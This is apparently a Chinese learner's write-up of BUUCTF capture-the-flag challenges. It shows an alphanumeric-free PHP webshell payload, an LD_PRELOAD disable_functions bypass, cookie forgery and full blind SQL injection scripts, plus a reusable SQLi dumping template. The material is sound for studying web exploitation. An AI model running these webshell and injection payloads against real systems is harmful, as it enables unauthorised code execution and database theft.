刷题学习记录BUUCTF
[极客大挑战 2019]RCE ME1
进入环境直接就有代码
<?php
error_reporting(0);
if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}
else{highlight_file(__FILE__);
}// ?>
代码审计:
传入的code不能大于40
并且不能包含a到z的大小写字符和1到10的数字
我们可以通过不在这个字符集里的字符进行绕过
可以采用异或和取反
异或参考:PHP异或_php异或脚本-CSDN博客
PHP异或_php 异或-CSDN博客
取反参考:php中的取反符号,php中取反的全过程-CSDN博客
这里采用取反,绕过
参考:CTF-Web-[极客大挑战 2019]RCE ME 1-CSDN博客
执行phpinfo();
<?php$c='phpinfo';
$d=urlencode(~$c);
echo $d;
?>
?code=(~%8F%97%8F%96%91%99%90)();

构造一个shell连上蚁剑
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo '(~'.$b.')';
$c='(eval($_POST[1]))';
$d=urlencode(~$c);
echo '(~'.$d.')';
?>

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6)();
蚁剑连接

在根目录发现的flag文件里面是空的,readflag文件里面是乱码

这里就要用到蚁剑的插件,才能的得到flag


利用插件选定模式后进入终端,获得flag
在别人的博客中看到不用蚁剑的插件,也能做出来,因为蚁剑的插件市场下载插件需要魔法
通过LD_PRELOAD & putenv() 绕过,获取flag
参考:BUUCTF:[极客大挑战 2019]RCE ME-CSDN博客
笔记
参考:无字母数字webshell总结 - 先知社区
LD_PRELOAD 参考:https://www.cnblogs.com/leixiao-/p/10612798.html
深入浅出LD_PRELOAD & putenv()-安全客 - 安全资讯平台
在学习LD_PRELOAD之前需要了解什么是链接。
程序的链接主要有以下三种:
静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。
LD_PRELOAD介绍
在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的。
为什么可以绕过
想要利用LD_PRELOAD环境变量绕过disable_functions需要注意以下几点:
能够上传自己的.so文件
能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数
存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等
首先,我们能够上传恶意.so文件,.so文件由攻击者在本地使用与服务端相近的系统环境进行编译,该库中重写了相关系统函数,重写的系统函数能够被PHP中未被disable_functions禁止的函数所调用。
当我们能够设置环境变量,比如putenv函数未被禁止,我们就可以把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新的进程就会在新进程运行前优先加载该恶意.so文件,由此,恶意代码就被注入到程序中。
查询禁用函数
异或和url取反在任意php版本下均可使用,所以两种方法均可使用。
url编码取反绕过
url编码取反绕过 :就是我们将php代码url编码后取反,我们传入参数后服务端进行url解码,这时由于取反后,会url解码成不可打印字符,这样我们就会绕过。
异或饶过
异或:将两个字符的ascii转化为二进制 进行异或取值 从而得到新的二进制 转化为新的字符
[极客大挑战 2019]FinalSQL1
进入环境是一个登录框

分别尝试了1和1'


但是看了别人的wp注入不是在登录框进行,而且登陆页面的紫色字体点了之后会进入到另一个页面


这道题用到sql异或注入
sql异或注入,经过尝试发现^符号未被过滤,(1^2=3)
首先可以根据1^0=1 1^1=0 来判断闭合方式(数字型还是字符型)。因为如果是字符型,不会执行^。
简单判断是数字型。
由于不会写python脚本,这里就用大佬的脚本了
payload:
import time
import requests
import stringurl = "http://ba8a3be4-a2cc-42fa-b6e5-5679fa6feafb.node4.buuoj.cn:81/search.php"
flag = ''def payload(i, j):# 数据库名字sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)# 表名# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)# 列名# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)# 查询flag# sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)data = {"id": sql}r = requests.get(url, params=data,timeout=5)time.sleep(0.04)# print (r.url)if "Click" in r.text:res = 1else:res = 0return resdef exp():global flagfor i in range(1, 10000):print(i, ':')low = 31high = 127while low <= high:mid = (low + high) // 2res = payload(i, mid)if res:low = mid + 1else:high = mid - 1f = int((low + high + 1)) // 2if (f == 127 or f == 31):break# print (f)flag += chr(f)print(flag)if __name__ == "__main__":exp()print('输出:', flag)
跑这个脚本要一步一步的跑,分别跑出数据库名,表名,列名,字段名
爆数据库名
sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, j)

爆表名,这里爆geek
sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)

爆列名,这里爆F1naI1y
sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)

查询flag
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)

[BSidesCF 2019]Kookie1
进入环境,是一个登录框

提示要用admin用户登录,但是也有一个用户可以登录
用户名:cookie
密码:monster

虽然成功登录成功,但是却没有用admin为用户名登录,题目有cookie,那就f12查看cookie

既然要以admin为用户名登录,那就用bp抓包伪造cookie

发送伪造的cookie后就得到flag

[WUSTCTF2020]颜值成绩查询1
进入环境,是一个查询页面
分别输入1,2,3,4都有回显,但是输入5就会报错


出现这种情况,一般都是要进行sql盲注
一说到盲注,要快速注入就需要脚本,这里就借用大佬的脚本了(二分法)
import requestsurl="http://cca7035c-c728-4e0f-9a34-53d1e4baac33.node4.buuoj.cn:81/?stunum="
name=''for i in range(1,100):print(i)low=32high=128mid=(low+high)//2while low<high:#payload = "0^(ascii(substr((select(database())),%d,1))>%d)" % (i, mid)#payload="0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),%d,1))>%d)"%(i,mid)#payload="0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)"%(i,mid)payload="0^(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)"%(i,mid)r=requests.get(url=url+payload)if 'admin' in r.text:low = mid+1else:high=midmid=(low+high)//2if(mid==32):breakname=name+chr(mid)print (name)
运行脚本依然是爆数据库,爆表名,爆列名,查询字段
查询出字段

得到flag:flag{03f18350-118d-4993-8da1-6eae741e08c5}
笔记
二分法
定义
二分法(Bisection method),即一分为二的的方法。对于在区间[a,b]上连续不断且满足f(a)*f(b)<0
的函数y=f(x),通过不断地把函数f(x)的零点所在区间二等分,使区间两个端点逐步逼近零点,进而得到
零点的近似值的方法。
小白理解,设置极小值与极大值,然后不断缩小范围,最终确定答案
详细过程
二分法讲解(赋值讲解)
设置极大值100和极小值1(这两个值不可能是要求的那个,在在这里假设所求值为56)
然后取出平均值50
第一次比较
将平均值与所求值进行比较,50<56,发现平均值比所求值要小,说明所求值介于55到100之间,
第二次比较
此时我们就把极小值更改为51(本来应改为50,但不可能是50),取出平均值75,将所求值与平均值进行比较,75>56,发现平均值比所求值大,说明平均值介于51到75之间
第三次比较
此时更改极大值为75,取出平均值63,将所求值与平均值进行比较,63>56,发现平均值比所求值大,说明平均值介于55到63之间
第四次比较
此时更改极大值为63,取出平均值57,将所求值与平均值进行比较,57>56,发现平均值比所求值大,说明平均值介于55到57之间
第五次比较
此时更改极大值为57,取出平均值56,将所求值与平均值进行比较,56=56,两者相等,结束。
一般在使用sql盲注脚本的时候,脚本使用二分法的时候运行的要快一些
这是二分法脚本的模板
import requests
import time#host = "http://"
host = "http://"
'''
def getDatabase(): #获取数据库名global hostans=''for i in range(1,1000):low = 32high = 128mid = (low+high)//2while low < high:payload= "1'^(ascii(substr((select(database())),%d,1))<%d)^1#" % (i,mid)param ={"username":payload,"password":"admin"}res = requests.post(host,data=param)if "用户名错误" in res.text:high = midelse:low = mid+1mid=(low+high)//2if mid <= 32 or mid >= 127:breakans += chr(mid-1)print("database is -> "+ans)
'''
def getDatabase(): #获取数据库名global hostans=''for i in range(1,1000):low = 32high = 128mid = (low+high)//2while low < high:url= host +"?id=1'^(ascii(substr((select(database())),%d,1))<%d)^1-- -" % (i,mid)res = requests.get(url)if "You are in" in res.text:high = midelse:low = mid+1mid=(low+high)//2if mid <= 32 or mid >= 127:breakans += chr(mid-1)print("database is -> "+ans)
'''
def getTable(): #获取表名global hostans=''for i in range(1,1000):low = 32high = 128mid = (low+high)//2while low < high:url = host + "id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))<%d)^1" % (i,mid)res = requests.get(url)if "others~~~" in res.text:high = midelse:low = mid+1mid=(low+high)//2if mid <= 32 or mid >= 127:breakans += chr(mid-1)print("table is -> "+ans)
'''
def getTable(): #获取表名global hostans=''for i in range(1,1000):low = 32high = 128mid = (low+high)//2while low < high:url = host + "?id=1'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1-- -" % (i,mid)res = requests.get(url)if "You are in" in res.text:high = midelse:low = mid+1mid=(low+high)//2if mid <= 32 or mid >= 127:breakans += chr(mid-1)print("table is -> "+ans)
'''
def getColumn(): #获取列名global hostans=''for i in range(1,1000):low = 32high = 128mid = (low+high)//2while low < high:url = host + "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%d,1))<%d)^1" % (i,mid)res = requests.get(url)if "others~~~" in res.text:high = midelse:low = mid+1mid=(low+high)//2if mid <= 32 or mid >= 127:breakans += chr(mid-1)print("column is -> "+ans)
'''
def getColumn(): #获取列名global hostans=''for i in range(1,1000):low = 32high = 128mid = (low+high)//2while low < high:#url = host + "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))<%d)^1" % (i,mid)# res = requests.get(url)url = host + "id=1'^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))<%d)^1-- -" % (i,mid)res = requests.get(url)if "You are in" in res.text:high = midelse:low = mid+1mid=(low+high)//2if mid <= 32 or mid >= 127:breakans += chr(mid-1)print("column is -> "+ans)
'''
def dumpTable():#脱裤global hostans=''for i in range(1,10000):low = 32high = 128mid = (low+high)//2while low < high:url = host + "id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (i,mid)res = requests.get(url)if "others~~~" in res.text:high = midelse:low = mid+1mid=(low+high)//2if mid <= 32 or mid >= 127:breakans += chr(mid-1)print("dumpTable is -> "+ans)
'''
'''
def dumpTable():#脱裤global hostans=''for i in range(1,10000):low = 32high = 128mid = (low+high)//2while low < high:url = host + "id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (i,mid)res = requests.get(url)if "others~~~" in res.text:high = midelse:low = mid+1mid=(low+high)//2if mid <= 32 or mid >= 127:breakans += chr(mid-1)print("dumpTable is -> "+ans)
'''
def dumpTable():#脱裤global hostans=''for i in range(1,10000):low = 32high = 128mid = (low+high)//2while low < high:# url = host + "id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (i,mid)# res = requests.get(url)url = host + "id=1'^(ascii(substr((select(group_concat(password))from(users)),%d,1))<%d)^1-- -" % (i,mid)res = requests.get(url)if "You are in" in res.text:high = midelse:low = mid+1mid=(low+high)//2if mid <= 32 or mid >= 127:breakans += chr(mid-1)print("dumpTable is -> "+ans)getDatabase()
getTable()
getColumn()
dumpTable()
import requests
import urllib
import math
import timedata="u=45345345&p=45345345&bianhao=1&a=1"
def binarySearch(url,payload,start,end):left=startright=endwhile left<right:mid=math.floor((left+right)/2)xkey1=payload.format(mid)headers = {'Content-Type': 'application/x-www-form-urlencoded','X-Forwarded-For': xkey1}response = requests.post(url=url, data=data, headers=headers,allow_redirects=False)if response.status_code==200:right=midelse:left=mid+1return int(left)def database_length(url):xkey = "1' or (select length(database()))<={}#"return binarySearch(url, xkey, 0, 100)def database_name(url):databasename = ''aa = database_length(url)for i in range(1, aa + 1):xkey = "1' or ascii(substring(database(),%s,1))<={}#" % idatabasename += chr(binarySearch(url, xkey, 32, 126))return databasenamedef table_count(url, database):xkey = "1' or (select count(table_name) from information_schema.tables where table_schema=" + "'" + database + "')" + "<={}#"return binarySearch(url, xkey, 0, 100)def table_length(url, a, database):xkey = "1' or (select length(table_name) from information_schema.tables where table_schema=" + "'" + database + "'" + " limit %s,1)<={}#" % areturn binarySearch(url, xkey, 0, 100)def table_name(url, database):table_name = []bb = table_count(url, database)for i in range(0, bb):user = ''cc = table_length(url, i, database)if cc == None:breakfor j in range(1, cc + 1):xkey = "1' or ascii(substring((select table_name from information_schema.tables where table_schema=" + "'" + database + "'" + " limit %s,1),%s,1))<={}#" % (i, j)user += chr(binarySearch(url, xkey, 32, 126))table_name.append(user)return table_namedef column_count(url, table_name):xkey = "1' or (select count(column_name) from information_schema.columns where table_name=" + "'" + table_name + "'" + ")<={}#"return binarySearch(url, xkey, 0, 100)def column_length(num, url, table_name):limit = " limit %s,1)<={}" % numxkey = "1' or (select length(column_name) from information_schema.columns where table_name=" + "'" + table_name + "'" + limit+"#"return binarySearch(url, xkey, 0, 100)def column_name(url, table_name):column_name = []dd = column_count(url, table_name)for i in range(0, dd):user = ''bb = column_length(i, url, table_name)if bb == None:breakfor j in range(1, bb + 1):limit = " limit %s,1),%s,1))<={}" % (i, j)xkey = "1' or ascii(substring((select column_name from information_schema.columns where table_name=" + "'" + table_name + "'" + limit+"#"user += chr(binarySearch(url, xkey, 32, 126))column_name.append(user)return column_namedef data_count(url, table,column):xkey = "1' or (select count("+column+") from "+table+")<={}#"return binarySearch(url, xkey, 0, 100)def data_length(num, url, table,column):limit = " limit %s,1)<={}" % numxkey = "1' or (select length("+column+") from "+table+limit+"#"return binarySearch(url, xkey, 0, 100)def data_data(url, table,column):data_data = []dd = data_count(url, table,column)for i in range(0, dd + 1):user = ''bb = data_length(i, url, table,column)if bb == None:breakfor j in range(1, bb + 1):limit = " limit %s,1),%s,1))<={}" % (i, j)xkey = "1' or ascii(substring((select "+column+" from " + table + limit+"#"user += chr(binarySearch(url, xkey, 32, 126))data_data.append(user)return data_datadef data_dataall(url, table,column,line,count):user = ''bb = data_length(line, url, table,column)for j in range(0, bb + 1):limit = " limit %s,1),%s,1))<={}" % (line, j)xkey = "1' or ascii(substring((select "+column+" from " + table + limit+"#"user += chr(binarySearch(url, xkey, 32, 126))return userif __name__ == '__main__':one = float(time.time())url = 'http://192.168.164.138/test.php'databasename = database_name(url)print "The current database:" + databasename#database = raw_input("Please input your databasename: ")database="test"databasedata = {}tables = table_name(url, database)print database + " have the tables:",print tablesfor table in tables:k={}column1=[]print table + " have the columns:"column1=column_name(url, table)for j in range(0, len(column1)):k[j+1] = column1[j]databasedata[table]=kprint column1print(databasedata)databasedata={'123': {1: 'id'}, 'book': {1: 'book_id', 2: 'price'}}while 1:print "请输入你要读取的表名"#table = raw_input("Please input your table_name: ")table="book"if databasedata.has_key(table)!=False:break#column = raw_input("Please input your column_name: ")column=""if len(column)>0:print column+"have the data:"print data_data(url, table, column)else:count=data_count(url, table, databasedata[table][1])print "count="+str(count)dataline="count "for i in range(0, len(databasedata[table])):dataline=dataline+databasedata[table][i+1]+" "print datalinefor line in range(0,count):dataline=str(line)+" "for i in range(0, len(databasedata[table])):dataline+=data_dataall(url, table, databasedata[table][i+1], str(line), count)+" "print datalinetwo = float(time.time())interval = two - oneprint(interval)
相关文章:
刷题学习记录BUUCTF
[极客大挑战 2019]RCE ME1 进入环境直接就有代码 <?php error_reporting(0); if(isset($_GET[code])){$code$_GET[code];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]/",$code)){die("NO.");}eval($co…...
Linux imu6ull驱动- led
一、GPIO模块结构 开始来啃手册了,打开我们的imx6ull手册。本章我们编写的是GPIO的,打开手册的第28章,这一章就有关于IMX6ULL 的 GPIO 模块结构。 mx6ull一共有5 组 GPIO(GPIO1~GPIO5) GPIO1 有 32 个引脚&…...
【 云原生 | K8S 】Kubernetes 概述
Kubernetes 概述 1 K8S 是什么? K8S 的全称为 Kubernetes (K12345678S),PS:“嘛,写全称也太累了吧,不如整个缩写”。 作用: 用于自动部署、扩展和管理“容器化(containerized)应用…...
边缘计算多角色智能计量插座:用电监测和资产管理的未来智能化引擎
目前主流的智能插座涵盖了红外遥控(控制空调和电视等带有红外标准的电器),配备着测温、测湿等仓库应用场景,配备了人体红外或者毫米波雷达作为联动控制,但是大家有没有思考一个问题,就是随着对接的深入&…...
mysql隐式转换转换引起的bug
生产环境中遇到一个情况情况 ,过滤数据发现过滤不掉相关值情况,具体情况如下 原始数据: CREATE TABLE test (id bigint(11) NOT NULL AUTO_INCREMENT COMMENT 自增id,subject_id bigint(11) NOT NULL DEFAULT 0 COMMENT 主题id,subject_nam…...
【Python】gevent模块实现协程模拟高并发
Python中GIL的存在,导致多线程一直不是很好用,相形之下,协程的优势就更加突出了。 Python通过yield提供了对协程的基本支持,但是不完全。而第三方的gevent为Python提供了比较完善的协程支持。 gevent是第三方库,通过gr…...
leetcode:2485. 找出中枢整数(python3解法)
难度:简单 给你一个正整数 n ,找出满足下述条件的 中枢整数 x : 1 和 x 之间的所有元素之和等于 x 和 n 之间所有元素之和。 返回中枢整数 x 。如果不存在中枢整数,则返回 -1 。题目保证对于给定的输入,至多存在一个中…...
asp.net core mvc之模型绑定、特性约束模型绑定、模型验证(服务器/客户端/远程)
一、不用模型绑定 数据类型都是string 1、UserController.cs public class UserController : Controller {public IActionResult Register(){return View();}[HttpPost]public IActionResult DoRegister(){//不用模型绑定 以前的方法取表单数据或Url的参数//数据类型都是s…...
AI诈骗防范:保护数字社会的安全前线
引言: 在当今数字化的时代,人工智能技术在各个领域都展现了巨大的潜力,然而,正是这些技术的广泛应用也催生了新的安全隐患。近期,AIGC在聊天、写作、绘画、编程等领域表现出色,但也被用于“AI换脸”、“AI换…...
(待完善)python学习参考手册
这里写目录标题 观前浅谈:学习路线 :学习心得笔记:Step1:简单但一问不知怎么的组织语言去回答的小问题:什么是提示符?python解释器是什么?请正在阅读本文的朋友,安装一下PyCharm以及如何进行科学的省钱:Python中的命令行模式和交互模式的区别是什么?请正在阅读本文的朋友安装…...
STM32-HAL库09-CAN通讯(loopback模式)
一、所用材料: STM32F103C6T6最小系统板 STM32CUBEMX(HAL库软件) MDK5 串口调试助手 二、所学内容: 初步学习如何使用STM32的CAN通讯功能,在本章节主要达到板内CAN通讯的效果,即32发送CAN信息再在CAN接收…...
jsvascript使用dhtmlXTreeObject的loadJSONObject绘制目录树
文章目录 1,引入dhtmlXTreeObject的css和js文件2,创建一棵目录树2.1,let tree new dhtmlXTreeObject(id-dhtmltree-0, "100%", "100%", 0);2.2,设置图片根目录(后续使用到的图片都是相对于该目录…...
LeetCode 17. 电话号码的字母组合 中等
题目 - 点击直达 1. 17. 电话号码的字母组合 中等1. 题目详情1. 原题链接2. 题目要求3. 基础框架 2. 解题思路1. 思路分析2. 时间复杂度3. 代码实现 3. 知识与收获 1. 17. 电话号码的字母组合 中等 1. 题目详情 1. 原题链接 LeetCode 17. 电话号码的字母组合 中等 2. 题目要…...
《GPT与AI助手:技术进步与就业前景》
随着人工智能的迅速发展,像GPT(Generative Pre-trained Transformer)这样的自然语言处理技术已经广泛应用于各个领域,各个互联网公司也纷纷推出了自己的AI助手来帮助创作、交流和解决问题。这一技术的广泛应用引发了一系列关于就业…...
线性代数 | 矩阵运算 加减 数乘 矩阵的幂运算
文章目录 1 矩阵加减和数乘2 矩阵与矩阵的乘法2.1 相乘条件:看中间,取两头2.2 相乘计算方法 3 矩阵的幂3.1 观察归纳法3.2 邻项相消法3.3 化为对角 4 判断是否可逆(证明题或者要求求出逆矩阵)4.1 直接观察4.2 由定义式推得4.2.1 待…...
Linux---(五)三大工具yum、vim、gcc/g++
文章目录 一、yum工具1.Linux中安装软件的方法:2.什么是yum?3.yum源更新 二、Linux编辑器--vim1.IDE例子2.vim(1)vim的常用模式及切换模式(2)底层模式常用命令(3)插入模式常用命令(…...
网络通信TCP、UDP详解
目录 IP 和端口 网络传输中的 2 个对象:server 和 client 两种传输方式:TCP/UDP TCP 和 UDP 原理上的区别 为何存在 UDP 协议 TCP/UDP 网络通信大概交互图 IP 和端口 所有的数据传输,都有三个要素 :源、目的、长度。 怎么表…...
Flutter笔记:绘图示例 - 一个简单的(Canvas )时钟应用
Flutter笔记 绘图示例 - 一个简单的(Canvas )时钟应用 作者:李俊才 (jcLee95):https://blog.csdn.net/qq_28550263 邮箱 :291148484163.com 本文地址:https://blog.csdn.net/qq_2855…...
Bard和ChatGPT的一些比较
Bard和ChatGPT的一些比较 2023.11.8版权声明:本文为博主chszs的原创文章,未经博主允许不得转载。 选择正确的自动文本生成工具对企业至关重要。本文将详细分析谷歌 Bard 和 ChatGPT 的优缺点,以帮助企业做出明智的选择。无论企业关注的是客…...
centos7安装Nexus(Maven私服)与配置使用教程
之前有位大佬问我,他说有个第三方的Jar包,在idea导出库中使用,现在要部署上线测试,要如何导进去打包。 我说,不用那么麻烦,搞个Nexus私服,将Jar上传上去,然后配置Maven的setting文件…...
业务系统对接大模型的基础方案:架构设计与关键步骤
业务系统对接大模型:架构设计与关键步骤 在当今数字化转型的浪潮中,大语言模型(LLM)已成为企业提升业务效率和创新能力的关键技术之一。将大模型集成到业务系统中,不仅可以优化用户体验,还能为业务决策提供…...
vscode里如何用git
打开vs终端执行如下: 1 初始化 Git 仓库(如果尚未初始化) git init 2 添加文件到 Git 仓库 git add . 3 使用 git commit 命令来提交你的更改。确保在提交时加上一个有用的消息。 git commit -m "备注信息" 4 …...
Java 语言特性(面试系列1)
一、面向对象编程 1. 封装(Encapsulation) 定义:将数据(属性)和操作数据的方法绑定在一起,通过访问控制符(private、protected、public)隐藏内部实现细节。示例: public …...
基于当前项目通过npm包形式暴露公共组件
1.package.sjon文件配置 其中xh-flowable就是暴露出去的npm包名 2.创建tpyes文件夹,并新增内容 3.创建package文件夹...
C++八股 —— 单例模式
文章目录 1. 基本概念2. 设计要点3. 实现方式4. 详解懒汉模式 1. 基本概念 线程安全(Thread Safety) 线程安全是指在多线程环境下,某个函数、类或代码片段能够被多个线程同时调用时,仍能保证数据的一致性和逻辑的正确性…...
08. C#入门系列【类的基本概念】:开启编程世界的奇妙冒险
C#入门系列【类的基本概念】:开启编程世界的奇妙冒险 嘿,各位编程小白探险家!欢迎来到 C# 的奇幻大陆!今天咱们要深入探索这片大陆上至关重要的 “建筑”—— 类!别害怕,跟着我,保准让你轻松搞…...
【JavaSE】多线程基础学习笔记
多线程基础 -线程相关概念 程序(Program) 是为完成特定任务、用某种语言编写的一组指令的集合简单的说:就是我们写的代码 进程 进程是指运行中的程序,比如我们使用QQ,就启动了一个进程,操作系统就会为该进程分配内存…...
【Linux】自动化构建-Make/Makefile
前言 上文我们讲到了Linux中的编译器gcc/g 【Linux】编译器gcc/g及其库的详细介绍-CSDN博客 本来我们将一个对于编译来说很重要的工具:make/makfile 1.背景 在一个工程中源文件不计其数,其按类型、功能、模块分别放在若干个目录中,mak…...
mac:大模型系列测试
0 MAC 前几天经过学生优惠以及国补17K入手了mac studio,然后这两天亲自测试其模型行运用能力如何,是否支持微调、推理速度等能力。下面进入正文。 1 mac 与 unsloth 按照下面的进行安装以及测试,是可以跑通文章里面的代码。训练速度也是很快的。 注意…...
Python竞赛环境搭建全攻略
Python环境搭建竞赛技术文章大纲 竞赛背景与意义 竞赛的目的与价值Python在竞赛中的应用场景环境搭建对竞赛效率的影响 竞赛环境需求分析 常见竞赛类型(算法、数据分析、机器学习等)不同竞赛对Python版本及库的要求硬件与操作系统的兼容性问题 Pyth…...
